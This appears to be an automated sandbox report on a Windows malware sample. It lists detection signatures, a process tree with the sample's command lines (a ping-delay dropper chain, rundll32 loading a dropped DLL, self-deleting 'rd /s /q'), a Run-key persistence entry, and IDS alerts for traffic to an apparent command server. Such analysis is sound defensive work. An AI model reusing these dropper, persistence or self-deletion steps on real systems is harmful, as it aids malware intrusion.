Edit tour

Windows Analysis Report
XXHYneydvF.exe

Overview

General Information

Sample name:	XXHYneydvF.exe renamed because original name is a hash value
Original sample name:	06581b0a41a6fb4b1e619d70e6fe3d950c6c96f325bce18cb880d5a13d331225.exe
Analysis ID:	1573199
MD5:	94803df028d7f1af9887b45667230632
SHA1:	90b9d740455b5fccc8d41d06ab34a32f9fc1ea85
SHA256:	06581b0a41a6fb4b1e619d70e6fe3d950c6c96f325bce18cb880d5a13d331225
Tags:	104-21-50-174exeuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Contains functionality to infect the boot sector

Creates an autostart registry key pointing to binary in C:\Windows

Deletes itself after installation

Found evasive API chain (may stop execution after checking mutex)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file has a writeable .text section

Queries disk data (e.g. SMART data)

Uses known network protocols on non-standard ports

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Abnormal high CPU Usage

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

XXHYneydvF.exe (PID: 1036 cmdline: "C:\Users\user\Desktop\XXHYneydvF.exe" MD5: 94803DF028D7F1AF9887B45667230632)

cmd.exe (PID: 1868 cmdline: cmd.exe /c ping 127.0.0.1 -n 2&C:\Users\user\AppData\Local\Temp\\ygqcn.exe "C:\Users\user\Desktop\XXHYneydvF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 1984 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

ygqcn.exe (PID: 2060 cmdline: C:\Users\user\AppData\Local\Temp\\ygqcn.exe "C:\Users\user\Desktop\XXHYneydvF.exe" MD5: FEC9BB7DF5F493703F25649E8B808F7D)

rundll32.exe (PID: 4124 cmdline: c:\windows\system32\rundll32.exe "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface C:\Users\user\AppData\Local\Temp\ygqcn.exe MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 4932 cmdline: "C:\windows\SysWOW64\rundll32.exe" "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 5344 cmdline: cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\yucdh" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2080 cmdline: ping 127.0.0.1 -n 3 MD5: B3624DD758CCECF93A1226CEF252CA12)

rundll32.exe (PID: 4300 cmdline: "C:\windows\SysWOW64\rundll32.exe" "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 2100 cmdline: cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\yucdh" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6748 cmdline: ping 127.0.0.1 -n 3 MD5: B3624DD758CCECF93A1226CEF252CA12)

cleanup

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: c:\windows\SysWOW64\rundll32.exe "c:\yucdh\qtbbkpjim.dll",QueryPluginInterface, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 4124, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EvtMgr

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T16:27:21.351273+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49754	202.108.0.52	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61026	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51219	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50761	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61997	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50693	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50643	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50972	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51298	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51772	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51243	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50553	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50698	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58338	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55946	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49541	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51661	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50821	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50617	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58454	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50654	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59096	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50914	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50997	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51123	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50986	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50760	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51237	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58976	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50677	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50867	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50872	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	54762	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50930	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50948	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50630	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50870	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51470	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50673	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55516	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50622	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61606	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61507	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50612	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51795	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50767	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51733	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50704	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58355	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50683	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59753	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53003	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51985	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52106	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51445	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51790	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51212	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51767	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50639	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61884	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50597	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50591	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50722	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50843	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53318	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50635	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	54530	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55795	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51700	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51047	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50549	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50648	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51183	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55986	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50965	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52269	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50874	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55426	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51717	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51708	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50664	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51468	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50713	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50544	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52409	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50659	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58233	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55318	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50857	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50916	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50607	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50756	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50687	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51753	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50732	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51460	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	54902	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59487	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59151	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	54904	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	62141	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51198	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50669	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52891	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50599	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50939	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51547	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51228	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60806	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51693	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55804	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49509	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	54446	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59321	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50540	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58403	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50895	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51312	107.163.241.204	12354	TCP
2024-12-11T16:27:19.146166+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49731	107.163.241.204	12354	TCP
2024-12-11T16:27:19.146244+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49730	107.163.241.204	12354	TCP
2024-12-11T16:27:21.517991+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49750	107.163.241.204	12354	TCP
2024-12-11T16:27:21.518084+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49749	107.163.241.204	12354	TCP
2024-12-11T16:27:23.299070+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49768	107.163.241.204	12354	TCP
2024-12-11T16:27:23.299101+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49770	107.163.241.204	12354	TCP
2024-12-11T16:27:25.533743+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49784	107.163.241.204	12354	TCP
2024-12-11T16:27:25.658698+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49787	107.163.241.204	12354	TCP
2024-12-11T16:27:27.298281+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49806	107.163.241.204	12354	TCP
2024-12-11T16:27:27.298388+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49803	107.163.241.204	12354	TCP
2024-12-11T16:27:29.536587+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49819	107.163.241.204	12354	TCP
2024-12-11T16:27:29.678335+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49821	107.163.241.204	12354	TCP
2024-12-11T16:27:31.454550+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49841	107.163.241.204	12354	TCP
2024-12-11T16:27:31.454571+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49839	107.163.241.204	12354	TCP
2024-12-11T16:27:33.690594+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49855	107.163.241.204	12354	TCP
2024-12-11T16:27:33.800797+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49857	107.163.241.204	12354	TCP
2024-12-11T16:27:35.476853+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49876	107.163.241.204	12354	TCP
2024-12-11T16:27:35.476915+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49874	107.163.241.204	12354	TCP
2024-12-11T16:27:37.728551+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49888	107.163.241.204	12354	TCP
2024-12-11T16:27:37.844390+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49891	107.163.241.204	12354	TCP
2024-12-11T16:27:39.595196+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49912	107.163.241.204	12354	TCP
2024-12-11T16:27:39.595269+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49910	107.163.241.204	12354	TCP
2024-12-11T16:27:41.847996+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49924	107.163.241.204	12354	TCP
2024-12-11T16:27:41.944987+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49926	107.163.241.204	12354	TCP
2024-12-11T16:27:43.610677+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49947	107.163.241.204	12354	TCP
2024-12-11T16:27:43.610721+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49945	107.163.241.204	12354	TCP
2024-12-11T16:27:45.850520+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49961	107.163.241.204	12354	TCP
2024-12-11T16:27:45.956455+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49963	107.163.241.204	12354	TCP
2024-12-11T16:27:47.629435+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49987	107.163.241.204	12354	TCP
2024-12-11T16:27:47.629473+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49984	107.163.241.204	12354	TCP
2024-12-11T16:27:49.864456+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50002	107.163.241.204	12354	TCP
2024-12-11T16:27:49.988721+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50004	107.163.241.204	12354	TCP
2024-12-11T16:27:51.642030+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50025	107.163.241.204	12354	TCP
2024-12-11T16:27:51.642030+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50027	107.163.241.204	12354	TCP
2024-12-11T16:27:53.880141+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50043	107.163.241.204	12354	TCP
2024-12-11T16:27:53.989112+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50046	107.163.241.204	12354	TCP
2024-12-11T16:27:55.641743+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50067	107.163.241.204	12354	TCP
2024-12-11T16:27:55.641813+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50065	107.163.241.204	12354	TCP
2024-12-11T16:27:58.034284+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50082	107.163.241.204	12354	TCP
2024-12-11T16:27:58.129288+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50084	107.163.241.204	12354	TCP
2024-12-11T16:27:59.709009+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50108	107.163.241.204	12354	TCP
2024-12-11T16:27:59.709033+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50106	107.163.241.204	12354	TCP
2024-12-11T16:28:01.956096+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50121	107.163.241.204	12354	TCP
2024-12-11T16:28:02.097156+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50124	107.163.241.204	12354	TCP
2024-12-11T16:28:03.860463+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50146	107.163.241.204	12354	TCP
2024-12-11T16:28:03.860492+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50148	107.163.241.204	12354	TCP
2024-12-11T16:28:06.097261+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50163	107.163.241.204	12354	TCP
2024-12-11T16:28:06.206587+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50166	107.163.241.204	12354	TCP
2024-12-11T16:28:07.876514+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50197	107.163.241.204	12354	TCP
2024-12-11T16:28:07.876538+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50195	107.163.241.204	12354	TCP
2024-12-11T16:28:10.112711+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50212	107.163.241.204	12354	TCP
2024-12-11T16:28:10.222735+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50214	107.163.241.204	12354	TCP
2024-12-11T16:28:11.922705+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50238	107.163.241.204	12354	TCP
2024-12-11T16:28:11.922859+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50235	107.163.241.204	12354	TCP
2024-12-11T16:28:14.159543+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50263	107.163.241.204	12354	TCP
2024-12-11T16:28:14.276039+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50266	107.163.241.204	12354	TCP
2024-12-11T16:28:15.938937+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50294	107.163.241.204	12354	TCP
2024-12-11T16:28:15.938996+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50291	107.163.241.204	12354	TCP
2024-12-11T16:28:18.176150+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50321	107.163.241.204	12354	TCP
2024-12-11T16:28:18.285509+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50323	107.163.241.204	12354	TCP
2024-12-11T16:28:19.954735+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50361	107.163.241.204	12354	TCP
2024-12-11T16:28:19.954849+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50364	107.163.241.204	12354	TCP
2024-12-11T16:28:22.218085+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50398	107.163.241.204	12354	TCP
2024-12-11T16:28:22.302475+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50402	107.163.241.204	12354	TCP
2024-12-11T16:28:23.970096+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50449	107.163.241.204	12354	TCP
2024-12-11T16:28:23.970129+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50446	107.163.241.204	12354	TCP
2024-12-11T16:28:26.324605+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50485	107.163.241.204	12354	TCP
2024-12-11T16:28:26.328450+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50490	107.163.241.204	12354	TCP
2024-12-11T16:28:28.033504+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50563	107.163.241.204	12354	TCP
2024-12-11T16:28:28.033529+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50558	107.163.241.204	12354	TCP
2024-12-11T16:28:32.820389+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50705	107.163.241.204	12354	TCP
2024-12-11T16:28:32.820450+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50744	107.163.241.204	12354	TCP
2024-12-11T16:28:35.238300+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50757	107.163.241.204	12354	TCP
